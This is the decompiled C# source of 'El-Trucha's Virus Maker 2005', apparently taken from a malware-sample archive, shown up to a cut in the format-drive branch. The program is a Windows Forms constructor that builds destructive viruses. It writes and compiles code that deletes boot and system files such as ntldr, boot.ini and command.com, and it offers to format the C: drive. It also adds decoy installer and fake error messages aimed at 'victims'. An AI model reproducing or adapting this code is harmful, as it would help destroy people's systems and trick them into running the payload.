MalwareSourceCode/MSIL/Constructor/Win32/T/Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc/ETVM05.cs

796 lines
36 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: El_Trucha_s_Virus_Maker_2005.ETVM05
// Assembly: "El-Trucha's Virus Maker 2005", Version=1.0.1913.26518, Culture=neutral, PublicKeyToken=null
// MVID: 43024C13-9626-43BD-9145-B3D934449AAC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Constructor.Win32.Trucha.a-b3a9f9bfca0d58d23a418e9baa7aa933399c352cb80473bdc3deeee4272e88fc.exe
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Resources;
using System.Windows.Forms;
namespace El_Trucha_s_Virus_Maker_2005
{
public class ETVM05 : Form
{
private GroupBox groupBox2;
private CheckBox autoexec_bat;
private CheckBox command_com;
private CheckBox win_ini;
private CheckBox win_com;
private CheckBox boot_ini;
private CheckBox ntldr;
private StreamWriter myvirus;
private GroupBox groupBox3;
private CheckBox far;
private CheckBox farMsgSelect;
private TextBox farMsg;
private Button makeVirus;
private TextBox endMsg;
private TextBox welMsg;
private Label label1;
private Label label2;
private TabControl tabControl2;
private TabPage tabPage3;
private TabPage tabPage4;
private TextBox welMsgText;
private TextBox welMsgTitle;
private RadioButton wmAst;
private RadioButton wmQuest;
private RadioButton wmError;
private RadioButton wmInfo;
private TextBox emText;
private Label label3;
private TextBox emTitle;
private Label label4;
private RadioButton emAst;
private RadioButton emQuest;
private RadioButton emError;
private RadioButton emInfo;
private TabControl msgType;
private TabPage dosCons;
private TabPage msgBox;
private CheckBox useMsgBox;
private CheckBox useDosCons;
private Label label5;
private Label label6;
private string wmIcon;
private string emIcon;
private Label stageLabel;
private ProgressBar stageProgress;
private Process compiler;
private HelpProvider help;
private Button about;
private string statusForLabel;
private Label label7;
private TextBox fileIcon;
private Container components = (Container) null;
public ETVM05() => this.InitializeComponent();
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
ResourceManager resourceManager = new ResourceManager(typeof (ETVM05));
this.groupBox2 = new GroupBox();
this.ntldr = new CheckBox();
this.boot_ini = new CheckBox();
this.win_com = new CheckBox();
this.win_ini = new CheckBox();
this.command_com = new CheckBox();
this.autoexec_bat = new CheckBox();
this.makeVirus = new Button();
this.groupBox3 = new GroupBox();
this.farMsg = new TextBox();
this.farMsgSelect = new CheckBox();
this.far = new CheckBox();
this.msgType = new TabControl();
this.dosCons = new TabPage();
this.label6 = new Label();
this.label5 = new Label();
this.useDosCons = new CheckBox();
this.endMsg = new TextBox();
this.welMsg = new TextBox();
this.msgBox = new TabPage();
this.useMsgBox = new CheckBox();
this.tabControl2 = new TabControl();
this.tabPage3 = new TabPage();
this.welMsgText = new TextBox();
this.label2 = new Label();
this.welMsgTitle = new TextBox();
this.label1 = new Label();
this.wmAst = new RadioButton();
this.wmQuest = new RadioButton();
this.wmError = new RadioButton();
this.wmInfo = new RadioButton();
this.tabPage4 = new TabPage();
this.emInfo = new RadioButton();
this.emText = new TextBox();
this.label3 = new Label();
this.emTitle = new TextBox();
this.label4 = new Label();
this.emAst = new RadioButton();
this.emQuest = new RadioButton();
this.emError = new RadioButton();
this.stageLabel = new Label();
this.stageProgress = new ProgressBar();
this.compiler = new Process();
this.help = new HelpProvider();
this.fileIcon = new TextBox();
this.about = new Button();
this.label7 = new Label();
this.groupBox2.SuspendLayout();
this.groupBox3.SuspendLayout();
this.msgType.SuspendLayout();
this.dosCons.SuspendLayout();
this.msgBox.SuspendLayout();
this.tabControl2.SuspendLayout();
this.tabPage3.SuspendLayout();
this.tabPage4.SuspendLayout();
this.SuspendLayout();
this.groupBox2.Controls.Add((Control) this.ntldr);
this.groupBox2.Controls.Add((Control) this.boot_ini);
this.groupBox2.Controls.Add((Control) this.win_com);
this.groupBox2.Controls.Add((Control) this.win_ini);
this.groupBox2.Controls.Add((Control) this.command_com);
this.groupBox2.Controls.Add((Control) this.autoexec_bat);
this.groupBox2.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.groupBox2, "Select all the files you want to delete.");
this.groupBox2.Location = new Point(216, 8);
this.groupBox2.Name = "groupBox2";
this.help.SetShowHelp((Control) this.groupBox2, true);
this.groupBox2.Size = new Size(120, 120);
this.groupBox2.TabIndex = 1;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "Files to Delete";
this.ntldr.FlatStyle = FlatStyle.System;
this.ntldr.ImeMode = ImeMode.NoControl;
this.ntldr.Location = new Point(8, 96);
this.ntldr.Name = "ntldr";
this.ntldr.Size = new Size(72, 16);
this.ntldr.TabIndex = 18;
this.ntldr.Text = "NTLDR";
this.boot_ini.FlatStyle = FlatStyle.System;
this.boot_ini.ImeMode = ImeMode.NoControl;
this.boot_ini.Location = new Point(8, 80);
this.boot_ini.Name = "boot_ini";
this.boot_ini.Size = new Size(72, 16);
this.boot_ini.TabIndex = 17;
this.boot_ini.Text = "boot.ini";
this.win_com.FlatStyle = FlatStyle.System;
this.win_com.ImeMode = ImeMode.NoControl;
this.win_com.Location = new Point(8, 64);
this.win_com.Name = "win_com";
this.win_com.Size = new Size(72, 16);
this.win_com.TabIndex = 16;
this.win_com.Text = "Win.com";
this.win_ini.FlatStyle = FlatStyle.System;
this.win_ini.ImeMode = ImeMode.NoControl;
this.win_ini.Location = new Point(8, 48);
this.win_ini.Name = "win_ini";
this.win_ini.Size = new Size(64, 16);
this.win_ini.TabIndex = 15;
this.win_ini.Text = "Win.ini";
this.command_com.FlatStyle = FlatStyle.System;
this.command_com.ImeMode = ImeMode.NoControl;
this.command_com.Location = new Point(8, 32);
this.command_com.Name = "command_com";
this.command_com.Size = new Size(104, 16);
this.command_com.TabIndex = 14;
this.command_com.Text = "Command.com";
this.autoexec_bat.FlatStyle = FlatStyle.System;
this.autoexec_bat.ImeMode = ImeMode.NoControl;
this.autoexec_bat.Location = new Point(8, 16);
this.autoexec_bat.Name = "autoexec_bat";
this.autoexec_bat.Size = new Size(96, 16);
this.autoexec_bat.TabIndex = 13;
this.autoexec_bat.Text = "Autoexec.bat";
this.makeVirus.FlatStyle = FlatStyle.System;
this.makeVirus.Font = new Font("Papyrus", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.help.SetHelpString((Control) this.makeVirus, "Make the virus.");
this.makeVirus.ImeMode = ImeMode.NoControl;
this.makeVirus.Location = new Point(216, 160);
this.makeVirus.Name = "makeVirus";
this.help.SetShowHelp((Control) this.makeVirus, true);
this.makeVirus.Size = new Size(120, 48);
this.makeVirus.TabIndex = 30;
this.makeVirus.Text = "Be mean,\nMake Virus!!";
this.makeVirus.Click += new EventHandler(this.makeVirus_Click);
this.groupBox3.Controls.Add((Control) this.farMsg);
this.groupBox3.Controls.Add((Control) this.farMsgSelect);
this.groupBox3.Controls.Add((Control) this.far);
this.groupBox3.Cursor = Cursors.Default;
this.groupBox3.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.groupBox3, "Options for reformatting hard drive.");
this.groupBox3.Location = new Point(344, 8);
this.groupBox3.Name = "groupBox3";
this.help.SetShowHelp((Control) this.groupBox3, true);
this.groupBox3.Size = new Size(144, 96);
this.groupBox3.TabIndex = 18;
this.groupBox3.TabStop = false;
this.groupBox3.Text = "Miscelaneous";
this.farMsg.Enabled = false;
this.help.SetHelpString((Control) this.farMsg, "If you checked the above checkbox, then this message will be shown while it formats.");
this.farMsg.Location = new Point(8, 64);
this.farMsg.Name = "farMsg";
this.help.SetShowHelp((Control) this.farMsg, true);
this.farMsg.Size = new Size(128, 20);
this.farMsg.TabIndex = 21;
this.farMsg.Text = "I'm formatting your PC now...hope you don't mess with the wrong people next time...hehe...";
this.farMsgSelect.Enabled = false;
this.farMsgSelect.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.farMsgSelect, "If you checked the above checkbox, then this message will be shown while it formats.");
this.farMsgSelect.ImeMode = ImeMode.NoControl;
this.farMsgSelect.Location = new Point(8, 48);
this.farMsgSelect.Name = "farMsgSelect";
this.help.SetShowHelp((Control) this.farMsgSelect, true);
this.farMsgSelect.Size = new Size(96, 16);
this.farMsgSelect.TabIndex = 20;
this.farMsgSelect.Text = "Message";
this.farMsgSelect.CheckedChanged += new EventHandler(this.farMsgSelect_CheckedChanged);
this.far.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.far, "Select this if you want to reformat the C: drive after restart.");
this.far.ImeMode = ImeMode.NoControl;
this.far.Location = new Point(8, 16);
this.far.Name = "far";
this.help.SetShowHelp((Control) this.far, true);
this.far.Size = new Size(120, 32);
this.far.TabIndex = 19;
this.far.Text = "Format C: drive after restart";
this.far.CheckedChanged += new EventHandler(this.far_CheckedChanged);
this.msgType.Controls.Add((Control) this.dosCons);
this.msgType.Controls.Add((Control) this.msgBox);
this.help.SetHelpString((Control) this.msgType, "Select which method you want for messages.");
this.msgType.ItemSize = new Size(76, 18);
this.msgType.Location = new Point(8, 8);
this.msgType.Name = "msgType";
this.msgType.SelectedIndex = 0;
this.help.SetShowHelp((Control) this.msgType, true);
this.msgType.Size = new Size(200, 200);
this.msgType.TabIndex = 1;
this.dosCons.Controls.Add((Control) this.label6);
this.dosCons.Controls.Add((Control) this.label5);
this.dosCons.Controls.Add((Control) this.useDosCons);
this.dosCons.Controls.Add((Control) this.endMsg);
this.dosCons.Controls.Add((Control) this.welMsg);
((Control) this.dosCons).Location = new Point(4, 22);
this.dosCons.Name = "dosCons";
this.dosCons.Size = new Size(192, 174);
this.dosCons.TabIndex = 0;
this.dosCons.Text = "DOS Console";
this.label6.ImeMode = ImeMode.NoControl;
this.label6.Location = new Point(8, 80);
this.label6.Name = "label6";
this.label6.Size = new Size(56, 16);
this.label6.TabIndex = 10;
this.label6.Text = "Ending:";
this.label5.ImeMode = ImeMode.NoControl;
this.label5.Location = new Point(8, 32);
this.label5.Name = "label5";
this.label5.Size = new Size(56, 16);
this.label5.TabIndex = 9;
this.label5.Text = "Welcome:";
this.useDosCons.Checked = true;
this.useDosCons.CheckState = CheckState.Checked;
this.useDosCons.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.useDosCons, "If this is checked, then a two DOS windows with messages will be shown at the beginning and end of the program.");
this.useDosCons.ImeMode = ImeMode.NoControl;
this.useDosCons.Location = new Point(8, 8);
this.useDosCons.Name = "useDosCons";
this.help.SetShowHelp((Control) this.useDosCons, true);
this.useDosCons.Size = new Size(120, 16);
this.useDosCons.TabIndex = 2;
this.useDosCons.Text = "Use DOS Console";
this.useDosCons.CheckedChanged += new EventHandler(this.useDosCons_CheckedChanged);
this.help.SetHelpString((Control) this.endMsg, "If you select the above checkbox, then this will be shown on a DOS console window at the end of the program.");
this.endMsg.Location = new Point(8, 96);
this.endMsg.Name = "endMsg";
this.help.SetShowHelp((Control) this.endMsg, true);
this.endMsg.Size = new Size(176, 20);
this.endMsg.TabIndex = 4;
this.endMsg.Text = "Your computer's gonna die now!!";
this.help.SetHelpString((Control) this.welMsg, "If you select the above checkbox, then this will be shown on a DOS console window at the beginning of the program.");
this.welMsg.Location = new Point(8, 48);
this.welMsg.Name = "welMsg";
this.help.SetShowHelp((Control) this.welMsg, true);
this.welMsg.Size = new Size(176, 20);
this.welMsg.TabIndex = 3;
this.welMsg.Text = "Welcome to the installer!";
this.msgBox.Controls.Add((Control) this.useMsgBox);
this.msgBox.Controls.Add((Control) this.tabControl2);
((Control) this.msgBox).Location = new Point(4, 22);
this.msgBox.Name = "msgBox";
this.msgBox.Size = new Size(192, 174);
this.msgBox.TabIndex = 1;
this.msgBox.Text = "Message Box";
this.useMsgBox.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.useMsgBox, "If this is checked, then a two message boxes with messages will be shown at the beginning and end of the program.");
this.useMsgBox.ImeMode = ImeMode.NoControl;
this.useMsgBox.Location = new Point(8, 8);
this.useMsgBox.Name = "useMsgBox";
this.help.SetShowHelp((Control) this.useMsgBox, true);
this.useMsgBox.Size = new Size(120, 16);
this.useMsgBox.TabIndex = 5;
this.useMsgBox.Text = "Use Message Box";
this.useMsgBox.CheckedChanged += new EventHandler(this.useMsgBox_CheckedChanged);
this.tabControl2.Controls.Add((Control) this.tabPage3);
this.tabControl2.Controls.Add((Control) this.tabPage4);
this.help.SetHelpString((Control) this.tabControl2, "Select a tab for the properties of the message.");
this.tabControl2.ItemSize = new Size(57, 18);
this.tabControl2.Location = new Point(8, 32);
this.tabControl2.Name = "tabControl2";
this.tabControl2.SelectedIndex = 0;
this.help.SetShowHelp((Control) this.tabControl2, true);
this.tabControl2.Size = new Size(176, 128);
this.tabControl2.TabIndex = 6;
this.tabPage3.Controls.Add((Control) this.welMsgText);
this.tabPage3.Controls.Add((Control) this.label2);
this.tabPage3.Controls.Add((Control) this.welMsgTitle);
this.tabPage3.Controls.Add((Control) this.label1);
this.tabPage3.Controls.Add((Control) this.wmAst);
this.tabPage3.Controls.Add((Control) this.wmQuest);
this.tabPage3.Controls.Add((Control) this.wmError);
this.tabPage3.Controls.Add((Control) this.wmInfo);
((Control) this.tabPage3).Location = new Point(4, 22);
this.tabPage3.Name = "tabPage3";
this.tabPage3.Size = new Size(168, 102);
this.tabPage3.TabIndex = 0;
this.tabPage3.Text = "Welcome";
this.help.SetHelpString((Control) this.welMsgText, "If you select the above checkbox, then this message will be shown on a message box at the beginning of the program.");
this.welMsgText.Location = new Point(8, 8);
this.welMsgText.Name = "welMsgText";
this.help.SetShowHelp((Control) this.welMsgText, true);
this.welMsgText.Size = new Size(152, 20);
this.welMsgText.TabIndex = 7;
this.welMsgText.Text = "Welcome to the installer!";
this.label2.ImeMode = ImeMode.NoControl;
this.label2.Location = new Point(8, 32);
this.label2.Name = "label2";
this.label2.Size = new Size(32, 16);
this.label2.TabIndex = 26;
this.label2.Text = "Title:";
this.help.SetHelpString((Control) this.welMsgTitle, "If you select the above checkbox, then this message will be shown on a message box at the beginning of the program.");
this.welMsgTitle.Location = new Point(40, 32);
this.welMsgTitle.Name = "welMsgTitle";
this.help.SetShowHelp((Control) this.welMsgTitle, true);
this.welMsgTitle.Size = new Size(120, 20);
this.welMsgTitle.TabIndex = 8;
this.welMsgTitle.Text = "FileKeyProtector 1.9";
this.label1.ImeMode = ImeMode.NoControl;
this.label1.Location = new Point(8, 56);
this.label1.Name = "label1";
this.label1.Size = new Size(32, 16);
this.label1.TabIndex = 28;
this.label1.Text = "Icon:";
this.help.SetHelpString((Control) this.wmAst, "Select an icon for the message box.");
this.wmAst.Image = (Image) resourceManager.GetObject("wmAst.Image");
this.wmAst.ImeMode = ImeMode.NoControl;
this.wmAst.Location = new Point(40, 56);
this.wmAst.Name = "wmAst";
this.help.SetShowHelp((Control) this.wmAst, true);
this.wmAst.Size = new Size(32, 24);
this.wmAst.TabIndex = 9;
this.help.SetHelpString((Control) this.wmQuest, "Select an icon for the message box.");
this.wmQuest.Image = (Image) resourceManager.GetObject("wmQuest.Image");
this.wmQuest.ImeMode = ImeMode.NoControl;
this.wmQuest.Location = new Point(72, 56);
this.wmQuest.Name = "wmQuest";
this.help.SetShowHelp((Control) this.wmQuest, true);
this.wmQuest.Size = new Size(32, 24);
this.wmQuest.TabIndex = 10;
this.help.SetHelpString((Control) this.wmError, "Select an icon for the message box.");
this.wmError.Image = (Image) resourceManager.GetObject("wmError.Image");
this.wmError.ImeMode = ImeMode.NoControl;
this.wmError.Location = new Point(104, 56);
this.wmError.Name = "wmError";
this.help.SetShowHelp((Control) this.wmError, true);
this.wmError.Size = new Size(32, 24);
this.wmError.TabIndex = 11;
this.wmInfo.Checked = true;
this.help.SetHelpString((Control) this.wmInfo, "Select an icon for the message box.");
this.wmInfo.Image = (Image) resourceManager.GetObject("wmInfo.Image");
this.wmInfo.ImeMode = ImeMode.NoControl;
this.wmInfo.Location = new Point(136, 56);
this.wmInfo.Name = "wmInfo";
this.help.SetShowHelp((Control) this.wmInfo, true);
this.wmInfo.Size = new Size(32, 24);
this.wmInfo.TabIndex = 12;
this.wmInfo.TabStop = true;
this.tabPage4.Controls.Add((Control) this.emInfo);
this.tabPage4.Controls.Add((Control) this.emText);
this.tabPage4.Controls.Add((Control) this.label3);
this.tabPage4.Controls.Add((Control) this.emTitle);
this.tabPage4.Controls.Add((Control) this.label4);
this.tabPage4.Controls.Add((Control) this.emAst);
this.tabPage4.Controls.Add((Control) this.emQuest);
this.tabPage4.Controls.Add((Control) this.emError);
((Control) this.tabPage4).Location = new Point(4, 22);
this.tabPage4.Name = "tabPage4";
this.tabPage4.Size = new Size(168, 102);
this.tabPage4.TabIndex = 1;
this.tabPage4.Text = "Ending";
this.help.SetHelpString((Control) this.emInfo, "Select an icon for the message box.");
this.emInfo.Image = (Image) resourceManager.GetObject("emInfo.Image");
this.emInfo.ImeMode = ImeMode.NoControl;
this.emInfo.Location = new Point(136, 56);
this.emInfo.Name = "emInfo";
this.help.SetShowHelp((Control) this.emInfo, true);
this.emInfo.Size = new Size(32, 24);
this.emInfo.TabIndex = 36;
this.help.SetHelpString((Control) this.emText, "If you select the above checkbox, then this message will be shown on a message box at the end of the program.");
this.emText.Location = new Point(8, 8);
this.emText.Name = "emText";
this.help.SetShowHelp((Control) this.emText, true);
this.emText.Size = new Size(152, 20);
this.emText.TabIndex = 32;
this.emText.Text = "Invalid block memory block address.";
this.label3.ImeMode = ImeMode.NoControl;
this.label3.Location = new Point(8, 32);
this.label3.Name = "label3";
this.label3.Size = new Size(32, 16);
this.label3.TabIndex = 37;
this.label3.Text = "Title:";
this.help.SetHelpString((Control) this.emTitle, "If you select the above checkbox, then this message will be shown on a message box at the end of the program.");
this.emTitle.Location = new Point(40, 32);
this.emTitle.Name = "emTitle";
this.help.SetShowHelp((Control) this.emTitle, true);
this.emTitle.Size = new Size(120, 20);
this.emTitle.TabIndex = 38;
this.emTitle.Text = "FileKeyProtector 1.9";
this.label4.ImeMode = ImeMode.NoControl;
this.label4.Location = new Point(8, 56);
this.label4.Name = "label4";
this.label4.Size = new Size(32, 16);
this.label4.TabIndex = 39;
this.label4.Text = "Icon:";
this.help.SetHelpString((Control) this.emAst, "Select an icon for the message box.");
this.emAst.Image = (Image) resourceManager.GetObject("emAst.Image");
this.emAst.ImeMode = ImeMode.NoControl;
this.emAst.Location = new Point(40, 56);
this.emAst.Name = "emAst";
this.help.SetShowHelp((Control) this.emAst, true);
this.emAst.Size = new Size(32, 24);
this.emAst.TabIndex = 33;
this.help.SetHelpString((Control) this.emQuest, "Select an icon for the message box.");
this.emQuest.Image = (Image) resourceManager.GetObject("emQuest.Image");
this.emQuest.ImeMode = ImeMode.NoControl;
this.emQuest.Location = new Point(72, 56);
this.emQuest.Name = "emQuest";
this.help.SetShowHelp((Control) this.emQuest, true);
this.emQuest.Size = new Size(32, 24);
this.emQuest.TabIndex = 34;
this.emError.Checked = true;
this.help.SetHelpString((Control) this.emError, "Select an icon for the message box.");
this.emError.Image = (Image) resourceManager.GetObject("emError.Image");
this.emError.ImeMode = ImeMode.NoControl;
this.emError.Location = new Point(104, 56);
this.emError.Name = "emError";
this.help.SetShowHelp((Control) this.emError, true);
this.emError.Size = new Size(32, 24);
this.emError.TabIndex = 35;
this.emError.TabStop = true;
this.help.SetHelpString((Control) this.stageLabel, "Know what the program's doing.");
this.stageLabel.Location = new Point(344, 168);
this.stageLabel.Name = "stageLabel";
this.help.SetShowHelp((Control) this.stageLabel, true);
this.stageLabel.Size = new Size(144, 16);
this.stageLabel.TabIndex = 22;
this.stageLabel.Text = "Status: Ready.";
this.help.SetHelpString((Control) this.stageProgress, "Know the virus making progress");
this.stageProgress.Location = new Point(344, 184);
this.stageProgress.Name = "stageProgress";
this.help.SetShowHelp((Control) this.stageProgress, true);
this.stageProgress.Size = new Size(144, 16);
this.stageProgress.TabIndex = 23;
this.compiler.SynchronizingObject = (ISynchronizeInvoke) this;
this.help.SetHelpString((Control) this.fileIcon, "Select an icon for your virus. If you just want a default EXE icon, then leave this box BLANK");
this.fileIcon.Location = new Point(344, 128);
this.fileIcon.Name = "fileIcon";
this.help.SetShowHelp((Control) this.fileIcon, true);
this.fileIcon.Size = new Size(144, 20);
this.fileIcon.TabIndex = 31;
this.fileIcon.Text = "";
this.about.FlatStyle = FlatStyle.System;
this.help.SetHelpString((Control) this.about, "View an About... window for this program");
this.about.Location = new Point(216, 136);
this.about.Name = "about";
this.help.SetShowHelp((Control) this.about, true);
this.about.Size = new Size(120, 16);
this.about.TabIndex = 29;
this.about.Text = "About...";
this.about.Click += new EventHandler(this.about_Click);
this.label7.Location = new Point(344, 112);
this.label7.Name = "label7";
this.label7.Size = new Size(104, 16);
this.label7.TabIndex = 32;
this.label7.Text = "File Icon";
this.AcceptButton = (IButtonControl) this.makeVirus;
this.AutoScaleBaseSize = new Size(5, 13);
this.ClientSize = new Size(498, 216);
this.Controls.Add((Control) this.label7);
this.Controls.Add((Control) this.fileIcon);
this.Controls.Add((Control) this.about);
this.Controls.Add((Control) this.stageProgress);
this.Controls.Add((Control) this.stageLabel);
this.Controls.Add((Control) this.msgType);
this.Controls.Add((Control) this.groupBox3);
this.Controls.Add((Control) this.makeVirus);
this.Controls.Add((Control) this.groupBox2);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.HelpButton = true;
this.Icon = (Icon) resourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = nameof (ETVM05);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "El-Trucha's Virus Maker 2005 BETA 2";
this.Load += new EventHandler(this.ETVM05_Load);
this.groupBox2.ResumeLayout(false);
this.groupBox3.ResumeLayout(false);
this.msgType.ResumeLayout(false);
this.dosCons.ResumeLayout(false);
this.msgBox.ResumeLayout(false);
this.tabControl2.ResumeLayout(false);
this.tabPage3.ResumeLayout(false);
this.tabPage4.ResumeLayout(false);
this.ResumeLayout(false);
}
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.Run((Form) new ETVM05());
}
private void ETVM05_Load(object sender, EventArgs e)
{
ETVM05.OpenFiles();
int num = (int) MessageBox.Show("IMPORTANT NOTE: All of your victims WILL need the .NET Framework in order for the virus to affect them", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
this.fileIcon.Text = Application.StartupPath + "\\5293.ico";
this.compiler.StartInfo.FileName = "\"" + Application.StartupPath + "\\csc.exe\"";
}
private static void OpenFiles()
{
}
private void far_CheckedChanged(object sender, EventArgs e)
{
if (this.far.Checked)
{
this.farMsgSelect.Checked = false;
this.farMsg.Enabled = false;
this.farMsgSelect.Enabled = true;
}
else
{
this.farMsg.Enabled = false;
this.farMsgSelect.Enabled = false;
}
}
private void farMsgSelect_CheckedChanged(object sender, EventArgs e)
{
if (this.farMsgSelect.Checked)
this.farMsg.Enabled = true;
else
this.farMsg.Enabled = false;
}
private void useDosCons_CheckedChanged(object sender, EventArgs e)
{
if (this.useDosCons.Checked)
this.useMsgBox.Checked = false;
else
this.useMsgBox.Checked = true;
}
private void useMsgBox_CheckedChanged(object sender, EventArgs e)
{
if (this.useMsgBox.Checked)
this.useDosCons.Checked = false;
else
this.useDosCons.Checked = true;
}
private void makeVirus_Click(object sender, EventArgs e)
{
this.stageLabel.Text = "Status: Deleting old source file...";
if (File.Exists(Application.StartupPath + "\\myvirus.cs"))
File.Delete(Application.StartupPath + "\\myvirus.cs");
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Adding starting code...";
this.myvirus = new StreamWriter("myvirus.cs");
this.myvirus.AutoFlush = true;
this.myvirus.WriteLine("using System;");
this.myvirus.WriteLine("using System.Drawing;");
this.myvirus.WriteLine("using System.Collections;");
this.myvirus.WriteLine("using System.ComponentModel;");
this.myvirus.WriteLine("using System.Windows.Forms;");
this.myvirus.WriteLine("using System.IO;");
this.myvirus.WriteLine("public class Virus");
this.myvirus.WriteLine("{");
this.myvirus.WriteLine("\tpublic static void Main()");
this.myvirus.WriteLine("\t{");
this.stageProgress.Value = 0;
this.stageLabel.Text = "Adding welcome message...";
if (this.useDosCons.Checked)
{
this.myvirus.WriteLine("\t\t\tConsole.WriteLine(\"" + this.welMsg.Text + "\");");
}
else
{
if (this.wmAst.Checked)
this.wmIcon = "Asterisk";
else if (this.wmQuest.Checked)
this.wmIcon = "Question";
else if (this.wmError.Checked)
this.wmIcon = "Error";
else if (this.wmInfo.Checked)
this.wmIcon = "Information";
this.myvirus.WriteLine("\t\t\tMessageBox.Show(\"" + this.welMsgText.Text + "\", \"" + this.welMsgTitle.Text + "\", MessageBoxButtons.OK, MessageBoxIcon." + this.wmIcon + ");");
this.stageProgress.Value = 0;
}
this.stageLabel.Text = "Status: Adding Try/Catch statement...";
this.myvirus.WriteLine("\t\ttry");
this.myvirus.WriteLine("\t\t{");
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding autoexec.bat code...";
if (this.autoexec_bat.Checked)
{
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\autoexec.bat\"))");
this.myvirus.WriteLine("\t\t\t{");
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\autoexec.bat\") & FileAttributes.System) == FileAttributes.System)");
this.myvirus.WriteLine("\t\t\t\t{");
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\autoexec.bat\", FileAttributes.System);");
this.myvirus.WriteLine("\t\t\t\t}");
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\autoexec.bat\");");
this.myvirus.WriteLine("\t\t\t}");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding command.com code...";
if (this.command_com.Checked)
{
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\command.com\"))");
this.myvirus.WriteLine("\t\t\t{");
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\command.com\") & FileAttributes.System) == FileAttributes.System)");
this.myvirus.WriteLine("\t\t\t\t{");
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\command.com\", FileAttributes.System);");
this.myvirus.WriteLine("\t\t\t\t}");
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\command.com\");");
this.myvirus.WriteLine("\t\t\t}");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding win.ini code...";
if (this.win_ini.Checked)
{
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\windows\\\\win.ini\"))");
this.myvirus.WriteLine("\t\t\t{");
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\windows\\\\win.ini\") & FileAttributes.System) == FileAttributes.System)");
this.myvirus.WriteLine("\t\t\t\t{");
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\windows\\\\win.ini\", FileAttributes.System);");
this.myvirus.WriteLine("\t\t\t\t}");
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\windows\\\\win.ini\");");
this.myvirus.WriteLine("\t\t\t}");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding win.com code...";
if (this.win_com.Checked)
{
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\windows\\\\win.com\"))");
this.myvirus.WriteLine("\t\t\t{");
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\windows\\\\win.com\") & FileAttributes.System) == FileAttributes.System)");
this.myvirus.WriteLine("\t\t\t\t{");
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\windows\\\\win.com\", FileAttributes.System);");
this.myvirus.WriteLine("\t\t\t\t}");
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\windows\\\\win.com\");");
this.myvirus.WriteLine("\t\t\t}");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding boot.ini code...";
if (this.boot_ini.Checked)
{
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\boot.ini\"))");
this.myvirus.WriteLine("\t\t\t{");
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\boot.ini\") & FileAttributes.System) == FileAttributes.System)");
this.myvirus.WriteLine("\t\t\t\t{");
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\boot.ini\", FileAttributes.System);");
this.myvirus.WriteLine("\t\t\t\t}");
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\boot.ini\");");
this.myvirus.WriteLine("\t\t\t}");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding ntldr code...";
if (this.ntldr.Checked)
{
this.myvirus.WriteLine("\t\t\tif (File.Exists(\"c:\\\\ntldr\"))");
this.myvirus.WriteLine("\t\t\t{");
this.myvirus.WriteLine("\t\t\t\tif ((File.GetAttributes(\"c:\\\\ntldr\") & FileAttributes.System) == FileAttributes.System)");
this.myvirus.WriteLine("\t\t\t\t{");
this.myvirus.WriteLine("\t\t\t\t\tFile.SetAttributes(\"c:\\\\ntldr\", FileAttributes.System);");
this.myvirus.WriteLine("\t\t\t\t}");
this.myvirus.WriteLine("\t\t\t\tFile.Delete(\"c:\\\\ntldr\");");
this.myvirus.WriteLine("\t\t\t}");
}
this.stageProgress.Value = 0;
this.stageLabel.Text = "Status: Checking/Adding format code...";
if (this.far.Checked)
{
